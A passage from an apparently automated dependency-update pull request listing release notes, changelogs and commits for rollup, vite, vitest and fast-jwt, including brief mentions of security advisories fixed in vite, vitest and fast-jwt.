parameter values (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.1\u003c/h2\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-29\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrevent infinite recursions for certain constructor invocations (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5500\"\u003e#5500\u003c/a\u003e: fix: parameter variable infinite recursion error (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rollup/rollup/blob/master/CHANGELOG.md\"\u003erollup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.18.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-05-22\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eResolve import.meta.filename and .dirname in transpiled plugins (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5504\"\u003e#5504\u003c/a\u003e: Auto generate node index (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5507\"\u003e#5507\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5508\"\u003e#5508\u003c/a\u003e: chore(deps): lock file maintenance (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5510\"\u003e#5510\u003c/a\u003e: Split up converter.rs into AST nodes (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5512\"\u003e#5512\u003c/a\u003e: chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5514\"\u003e#5514\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5518\"\u003e#5518\u003c/a\u003e: chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5519\"\u003e#5519\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5520\"\u003e#5520\u003c/a\u003e: Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://github.com/BPScott\"\u003e\u003ccode\u003e@​BPScott\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5521\"\u003e#5521\u003c/a\u003e: docs: correct base32 to base36 in documentation (\u003ca href=\"https://github.com/highcastlee\"\u003e\u003ccode\u003e@​highcastlee\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.2\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-30\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix tree-shaking problems when using spread arguments (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5503\"\u003e#5503\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5501\"\u003e#5501\u003c/a\u003e: Slightly improve perf report (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5503\"\u003e#5503\u003c/a\u003e: fix: rest element should deoptimize parameter values (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-29\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrevent infinite recursions for certain constructor invocations (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5500\"\u003e#5500\u003c/a\u003e: fix: parameter variable infinite recursion error (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-27\u003c/em\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/bb6f069ea3623b0297ef3895f2dcb98a2ca5ef58\"\u003e\u003ccode\u003ebb6f069\u003c/code\u003e\u003c/a\u003e 4.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/13d8c990f1022222f6faeee03750b28d2811cb76\"\u003e\u003ccode\u003e13d8c99\u003c/code\u003e\u003c/a\u003e docs: correct base32 to base36 in documentation (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5521\"\u003e#5521\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/cc993e767e9ae0449d267d0beebac13c92dcb002\"\u003e\u003ccode\u003ecc993e7\u003c/code\u003e\u003c/a\u003e Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/a25a7795f980a8d2501f4e9acbab4bd049583f6e\"\u003e\u003ccode\u003ea25a779\u003c/code\u003e\u003c/a\u003e Split up converter.rs into AST nodes (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5510\"\u003e#5510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/a9cda1867b3e60851bcc9984d8b0c7cbfa1f229c\"\u003e\u003ccode\u003ea9cda18\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5519\"\u003e#5519\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/62c53c931001dec4b55f05dae7e3b5e795095a98\"\u003e\u003ccode\u003e62c53c9\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5518\"\u003e#5518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/3520da5112f100514bd4ad0c5c6b637eb7961977\"\u003e\u003ccode\u003e3520da5\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5512\"\u003e#5512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/afdcc8494c9d4d8521af8a01ef10cc6bbb6d7bd0\"\u003e\u003ccode\u003eafdcc84\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5514\"\u003e#5514\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/00f06816c773e599573e3ce4704c855dbed19afe\"\u003e\u003ccode\u003e00f0681\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5508\"\u003e#5508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/786566c2e88438a2f7b68d670f6dbd9f106c572d\"\u003e\u003ccode\u003e786566c\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5507\"\u003e#5507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rollup/rollup/compare/v4.13.0...v4.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 5.4.14 to 5.4.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.20\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/ca88ed7398288ce0c60176ac9a6392f10654c67c/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.19\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.19/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.18\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.18/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.17\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.17/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.16\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.16/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.15\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.15/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.21 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20970\"\u003e#20970\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cad1d31d0635dd8fd4ddfe6e5a92eb9ff13cd06c\"\u003ecad1d31\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20970\"\u003e#20970\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update CHANGELOG (\u003ca href=\"https://github.com/vitejs/vite/commit/ca88ed7398288ce0c60176ac9a6392f10654c67c\"\u003eca88ed7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.20 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea\"\u003e482000f\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: port sirv@3.0.2 changes to sirv@2.0.4 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20737\"\u003e#20737\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069\"\u003e4f1c35b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20737\"\u003e#20737\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.19 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e, check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19966\"\u003e#19966\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/766947e7cbf1cdd07df9737394e8c870401b78b0\"\u003e766947e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19966\"\u003e#19966\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.18 (2025-04-10)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19830\"\u003e#19830\u003c/a\u003e, reject requests with \u003ccode\u003e#\u003c/code\u003e in request-target (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19831\"\u003e#19831\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/823675baff2bd6809c74ba2d9acca0327923a54f\"\u003e823675b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19830\"\u003e#19830\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19831\"\u003e#19831\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.17 (2025-04-03)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19782\"\u003e#19782\u003c/a\u003e, fs check with svg and relative paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19784\"\u003e#19784\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/84b2b46ed129be8215108e789a90adbb33a9c42c\"\u003e84b2b46\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19782\"\u003e#19782\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19784\"\u003e#19784\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.16 (2025-03-31)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19761\"\u003e#19761\u003c/a\u003e, fs check in transform middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19762\"\u003e#19762\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b627c50d359f3bd9b602408fbbf462cf4a2f019c\"\u003eb627c50\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19761\"\u003e#19761\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19762\"\u003e#19762\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.15 (2025-03-24)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19702\"\u003e#19702\u003c/a\u003e, fs raw query with query separators (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19703\"\u003e#19703\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41\"\u003e807d7f0\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19702\"\u003e#19702\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19703\"\u003e#19703\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/adce3c22c64cc9d44cc8f45cc92b543e3e4bf385\"\u003e\u003ccode\u003eadce3c2\u003c/code\u003e\u003c/a\u003e release: v5.4.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/cad1d31d0635dd8fd4ddfe6e5a92eb9ff13cd06c\"\u003e\u003ccode\u003ecad1d31\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20970\"\u003e#20970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca88ed7398288ce0c60176ac9a6392f10654c67c\"\u003e\u003ccode\u003eca88ed7\u003c/code\u003e\u003c/a\u003e chore: update CHANGELOG\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/997700f01c7199daf7330d33a7fd3a43b2e9e3ba\"\u003e\u003ccode\u003e997700f\u003c/code\u003e\u003c/a\u003e release: v5.4.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea\"\u003e\u003ccode\u003e482000f\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/80a333a23103ced0442d4463d1191433d90f5e19\"\u003e\u003ccode\u003e80a333a\u003c/code\u003e\u003c/a\u003e release: v5.4.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/766947e7cbf1cdd07df9737394e8c870401b78b0\"\u003e\u003ccode\u003e766947e\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e, check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19966\"\u003e#19966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/731b77d19d36f5682a5441b49cb2f6473389ad99\"\u003e\u003ccode\u003e731b77d\u003c/code\u003e\u003c/a\u003e release: v5.4.18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/823675baff2bd6809c74ba2d9acca0327923a54f\"\u003e\u003ccode\u003e823675b\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19830\"\u003e#19830\u003c/a\u003e, reject requests with \u003ccode\u003e#\u003c/code\u003e in request-target (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19831\"\u003e#19831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/0a2518a98d2354c61ee8ef51f7d00fa92aebb511\"\u003e\u003ccode\u003e0a2518a\u003c/code\u003e\u003c/a\u003e release: v5.4.17\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v5.4.21/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 2.1.8 to 2.1.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.9\u003c/h2\u003e\n\u003cp\u003eThis release includes security patches for:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5\"\u003eBrowser mode serves arbitrary files | CVE-2025-24963\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq\"\u003eRemote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ebackport \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/7317\"\u003evitest-dev/vitest#7317\u003c/a\u003e to v2 - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7318\"\u003evitest-dev/vitest#7318\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7340\"\u003e#7340\u003c/a\u003e to v2) restrict served files from \u003ccode\u003e/__screenshot-error\u003c/code\u003e - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7343\"\u003evitest-dev/vitest#7343\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c9e59a089d94642eea29a43f2ee1986a5afb99c6\"\u003e\u003ccode\u003ec9e59a0\u003c/code\u003e\u003c/a\u003e chore: release v2.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383\"\u003e\u003ccode\u003ee0fe1d8\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7317\"\u003e#7317\u003c/a\u003e to v2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7318\"\u003e#7318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v2.1.9/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 5.0.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.5 by \u003ca 